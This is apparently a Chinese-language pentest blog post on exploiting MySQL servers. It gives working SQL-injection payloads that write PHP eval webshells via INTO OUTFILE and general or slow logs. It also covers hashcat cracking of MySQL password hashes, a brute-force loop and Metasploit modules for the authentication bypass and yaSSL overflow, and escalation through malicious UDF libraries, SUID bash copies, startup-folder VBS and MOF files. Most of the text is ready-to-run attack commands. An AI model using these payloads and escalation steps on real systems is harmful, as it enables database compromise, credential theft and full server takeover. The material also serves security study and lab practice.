Mysql数据库的利用
在这之前只知道数据库一般的写入webshell利用,但受限制条件在于需要知道绝对路径,网站路径有写入权限以及受secure-file-priv
参数限制,因此这篇文章将从其它角度来扩大对数据库的攻击面
获取一般的webshell权限
我们依旧从getshell开始
直接写入webshell
查询路径与查看 secure_file_priv 信息
例如现在有如下sql查询语句
1 | SELECT * FROM testtable WHERE `name` = '参数值'; |
查找绝对路径SELECT @@basedir;
1 | SELECT * FROM testtable WHERE `name` = 'Bob' AND ascii(substr((@@basedir),1,1))>60 #'; |
1 | SELECT * FROM testtable WHERE `name` = 'Bob' UNION SELECT 1,2,3,@@basedir #'; |
查看 secure_file_priv
配置SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%';
NULL | 不允许导入或导出 |
---|---|
具体目录 | 只允许在指定目录下导入导出 |
空 | 不限制目录 |
1 | SELECT * FROM performance_schema.global_variables WHERE VARIABLE_NAME = 'secure_file_priv'; |
因此可以构造
1 | SELECT * FROM testtable WHERE `name` = 'Bob' UNION SELECT 1,2,3,VARIABLE_VALUE FROM performance_schema.global_variables WHERE VARIABLE_NAME = 'secure_file_priv' #'; |
或者直接通过系统变量
1 | SELECT * FROM testtable WHERE `name` = 'Bob' UNION SELECT 1,2,3,@@secure_file_priv #'; |
into outfile写入
1 | SELECT "<?php @eval($_POST['quar']); ?>" INTO OUTFILE '绝对路径'; |
terminated by写入
在MySQL中,terminated by
是 LOAD DATA 和 SELECT … INTO OUTFILE 语句中的一个子句,用于指定字段或行的分隔符,它通常用于数据导入/导出时控制文件格式
定义字段(列)之间的分隔符
1 | FIELDS TERMINATED BY ',' |
定义行之间的分隔符,默认是 \n
1 | LINES TERMINATED BY '\n' -- Unix/Linux换行 |
1 | SELECT * FROM testtable WHERE `name` = 'Bob' UNION SELECT 1,2,3,4 INTO OUTFILE 'C:\\phpstudy_pro\\WWW\\shell.php' lines terminated by "<?php @eval($_POST['quar']); ?>" #'; |
对于php文件来说,前面的脏数据是没啥关系的,但有些时候我们可以这样构造(在udf提权我会再次提到这里)
1 | SELECT * FROM users WHERE username='a' UNION SELECT "<?php @eval($_POST['quar']); ?>",'','' INTO OUTFILE 'C:\\phpstudy_pro\\WWW\\a.txt' |
日志文件写shell
首先查看日志模式是否开启
1 | SHOW VARIABLES LIKE '%general%'; |
1 | SELECT @@general_log; #0对应关闭,1对应开启 |
此时我们再写入shell就会被记录到日志文件中去,不过这里得注意日志文件得是php后缀才会被当作php文件处理
1 | SELECT "<?php @eval($_POST['quar']); ?>"; |
这里还有一个利用思路,如果运行执行多条sql语句的话,我们可以利用堆叠注入,利用set将日志文件路径设置为网站路径中的php文件,届时可以写入🐎进去
慢日志文件写 shell
慢日志用于记录执行时间超过指定阈值的SQL语句。其他数据库系统有类似功能只是实现方式不同
1 | SHOW VARIABLES LIKE '%slow_query%'; |
1 | SHOW VARIABLES LIKE '%long_query_time%'; |
默认阈值是10s
1 | SELECT "<?php @eval($_POST['quar']); ?>" OR SLEEP(10); |
Hash爆破弱密码
MySQL4.1/MySQL5
MySQL各版本用户认证信息存储方式
1 | MySQL ≤ 5.6 |
可以使用在线网站查询https://www.cmd5.com/default.aspx
也可以用hashcat来破解
1 | hashcat -a 0 -m 300 '6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9' dict/Top1000.txt -O |
这里300对应的加密方式是MySQL4.1/MySQL5
MySQL8
至于MySQL 8.0默认使用caching_sha2_password
插件,基于SHA-256的密码哈希算法
不过为了兼容性问题,依旧是mysql_native_password
需要手动更改配置
default_authentication_plugin = caching_sha2_password
内容 | 字节数 | 说明 |
---|---|---|
哈希算法 | 2字节 | 目前仅为 $A,表示 SHA256 算法 |
哈希轮转次数 | 4字节 | 目前仅为 $005,表示 5*1000=5000 次 |
盐(salt) | 21字节 | 用于解决相同密码相同哈希值问题 |
哈希值 | 43字节 |
发现有一些不可见字符,我们转换成16进制输出
1 | 2441243030352478013F0B7C6F40696E06133F482A010604167131696E5638664C385859374D7A694D782E634D7A434D46714950576A7A513966627063696230776B55514131 |
由于的16进制表示固定为24412430303524,因此我们要转换成Hashcat 模式 7401 的格式https://hashcat.net/wiki/doku.php?id=example_hashes
1 | $mysql$A$005*<salt>*<hash> |
1 | echo "2441243030352478013F0B7C6F40696E06133F482A010604167131696E5638664C385859374D7A694D782E634D7A434D46714950576A7A513966627063696230776B55514131" | \ |
1 | $mysql$A$005*78013F0B7C6F40696E06133F482A010604167131*696E5638664C385859374D7A694D782E634D7A434D46714950576A7A513966627063696230776B55514131 |
1 | hashcat -m 7401 ./hash.txt ./dict/Top1000.txt |
MySQL的一些漏洞
yaSSL 缓冲区溢出
yaSSL是一个轻量级的 SSL/TLS 加密库,主要用于为MySQL提供安全通信支持
具体是在处理TLS/SSL握手过程中的客户端证书时,攻击者连接到MySQL服务器并启动SSL握手,发送一个精心构造的恶意X.509证书,证书中包含超长的”Common Name”字段,服务器在处理该字段时未进行适当边界检查,导致堆缓冲区溢出,可能覆盖关键内存结构
本来是想自己复现一个环境的,但是网上的博客都是泛泛而谈,之后下载了Linux老版本缺少插件,但是太久已经不维护了,而win的老版本缺少yassl的dll,总之搞了很久便放弃了
msf有对应的攻击模块,如果以后遇到老版本可以直接用https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/mysql/mysql_yassl_hello.rb
1 | use exploit/windows/mysql/mysql_yassl_hello |
authbypass身份认证绕过
MySQL versions from 5.1.63 5.5.24 5.6.6
原理:MySQL 的密码校验函数 (sql/password.c
) 在比较 memcmp()
的返回值时存在逻辑错误,当 memcmp()
比较密码哈希值时,某些情况下会返回非预期值(在某些平台上,如果启用了某些优化,该函数可能会返回超出此范围的值),最终导致比较哈希密码的代码有时即使输入了错误的密码也会返回 true。而 MySQL 错误地将其判定为“匹配成功”由于 memcmp()
的实现依赖运行环境(如编译器优化、CPU架构),通过快速测试攻击者可以大概率触发一次成功的绕过,大概是1/256
1 | for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.25.128 -P3306 --ssl=0; done |
这还是挺快的,也就试了30次左右吧
当然我们可以使用Metasploit的现成攻击模块mysql_authbypass_hashdump
,Jonathan Cran 提交了一个线程式暴力破解模块,该模块利用身份验证绕过漏洞自动转储密码数据库。这确保即使身份验证绕过漏洞已修复,仍然能够使用破解的密码哈希值访问数据库
1 | msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump |
1 | Username,Hash |
密码为123456
MySQL提权
UDF提权
取决于 MySQL 服务进程的运行权限,再者,每种数据库都有自己的UDF功能语法
UDF (User-Defined Function) 是MySQL中允许用户自定义函数的一种机制,它允许开发者用C/C++编写函数并加载到MySQL服务器中,就像使用内置函数一样调用。
UDF的使用步骤是事先需要编写高性能的C/C++代码,然后编译成Windows动态库(.dll)或Linux/Unix动态库(.so),对于MySQL来说其需要放置于安装目录下的 lib\plugin
文件夹,最后创建一个指向动态库文件的自定义函数。显然如果指向了恶意的动态库文件,就会执行恶意系统命令
浅谈静态库&动态库
1 | C源代码(.c) → 编译 → 目标文件(.o) → 打包 → 静态库(.a) |
源代码文件不用多说,人类可读的程序实现,作为软件开发的起点main.c
;
在这里你可以把目标文件认为是编译器生成的机器代码中间形式;
我们最终是要编译成一个可执行目标文件main
,即可直接运行的二进制文件,但在源代码中我们可能会存在调用的其他库函数,届时我们需要将源代码编译成可重定位目标文件(可以与其他可重定位目标文件合并,并创建可执行目标文件)main.o
(Windows下为main.obj
),与所调用的库函数的共享目标文件(特殊可重定位目标文件)进行链接;
而这里就会根据需求与静态库func.a
(Windows下为func.lib
)链接构建可执行目标文件main
在静态链接中,
func.a
会将调用的那部分函数拷贝到最总的可执行目标文件中
或与动态库func.so
(Windows下为func.dll
)链接构建可执行目标文件main
在动态链接中,会仅仅拷贝“调用规则”,在程序运行时完成真正的链接过程
因此,对于一个正在运行的MySQL来说,我们肯定是希望通过热加载形式来添加新函数,总不能还重新整个编译一遍吧?根据需求只需要更新动态库本身即可
查询插件目录
1 | SELECT @@plugin_dir; |
这里如果没有插件目录,在Windows下是可以用NTFS ADS流创建文件夹,命令行中是可以的,但是我的mysql去执行会出现权限问题,我在网上也没有看到解决办法
写入动态库
通过sqlmap写入(sqlmap默认payload的逻辑问题)
1 | sqlmap -u "http://10.16.66.81/test.php" --data="username=a&password=a" --file-write="/home/qu43ter/桌面/mysql_udf/lib_mysqludf_sys_64.dll" --file-dest="C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll" |
是的在这里一开始我以为是权限问题,毕竟sqlmap的日志也这么说
后面我又对Linux环境下做同样的操作,但是我仔细检查在插件目录下的权限mysql作为所有者是有读写执行权限的
后面hex编码直接写入也是没问题的,问题真正在于sqlmap在写文件时的payload(可能对于我这个环境而言)
解决sqlmap无法写入问题
一开始现象在于写入的只有一个空文件里面没有内容,让我一度怀疑真的是权限问题吗?于是我使用参数v 3看看sqlmap使用了什么payload
1 | a' LIMIT 0,1 INTO OUTFILE '/xp/server/mysql/lib/plugin/udf.txt' LINES TERMINATED BY 0x617364660a-- - |
而a这里是一个错误的用户名,所以limit根本不会返回结果,导致LINES TERMINATED BY
不起作用,最终得到的一个空文件,而后续sqlmap又执行了
1 | [11:04:39] [DEBUG] checking the length of the remote file 'C:/phpstudy_pro/Extensions/MySQL8.0.12/lib/plugin/s.txt' |
大概就是检查里面的内容,为空就返回0,所以它认为可能是权限问题
因此只有是正确的用户名才会使得LINES TERMINATED BY
生效,这个我们可以dump出来,但问题在于我们的udf.so
文件肯定是不允许前面的脏数据出现的,我们就可以用
1 | a' UNION SELECT 16进制数据,'','' INTO OUTFILE '/xp/server/mysql/lib/plugin/udf.so'# |
也就懒得去用sqlmap了
通过hex编码写入
1 | SELECT hex(load_file('/home/qu43ter/Desktop/mysql_udf/lib_mysqludf_sys_64.so')) into dumpfile '/home/qu43ter/Desktop/mysql_udf/udf.txt'; |
1 | CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so'; |
关于UDF的一些思考
但这里我个人认为利用面是很局限的,就算我们可以从web中写入进去,但是我们也无法通过闭合去执行CREATE FUNCTION
,除非是支持堆叠查询
因此我认为比较合理的场景是,通过web将MySQL的用户哈希dump下来,在弱密码的前提下爆破,如果可以远程连接,或者是在内网里发现MySQL是以高权限运行的,此时通过UDF执行的命令则是基于高权限,以Linux环境下来说,进一步获取服务器的root权限我们可以设置SUID权限chmod u+s /usr/bin/find
,然后SUID提权;
或者cp /bin/bash /tmp/bash ; chmod +s /tmp/bash
然后执行/tmp/bash -p
通过metasploit写入
需要提供账户和密码以及主机
1 | msf6 exploit(multi/mysql/mysql_udf_payload) > set username root |
后续步骤同上
反弹shell
特定的udf,不过只能在32位的系统上使用动态库利用文件
启动项提权
对于老版本的,这里是Windows server 2003,启动路径
1 | C:\Documents and Settings\Administrator\「开始」菜单\程序\启动 |
1 | Set WshShell = WScript.CreateObject("WScript.Shell") |
1 | select 16进制 into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.vbs"; |
MOF 提权
MOF是一种用于定义WMI类和实例的语言文件。当系统编译并执行MOF文件时,它可以创建、修改或删除WMI存储库中的类和实例。
将恶意MOF文件放置在特定目录
1 | C:/Windows/system32/wbem/mof/ |
1 | #pragma namespace("\\\\.\\root\\subscription") |
执行成功的的时候,会出现在good目录下,否则出现在bad目录下
使用mysql时依旧以16进制编码输入
也可以使用MSF自动化工具:exploit/windows/mysql/mysql_mof
参考资料: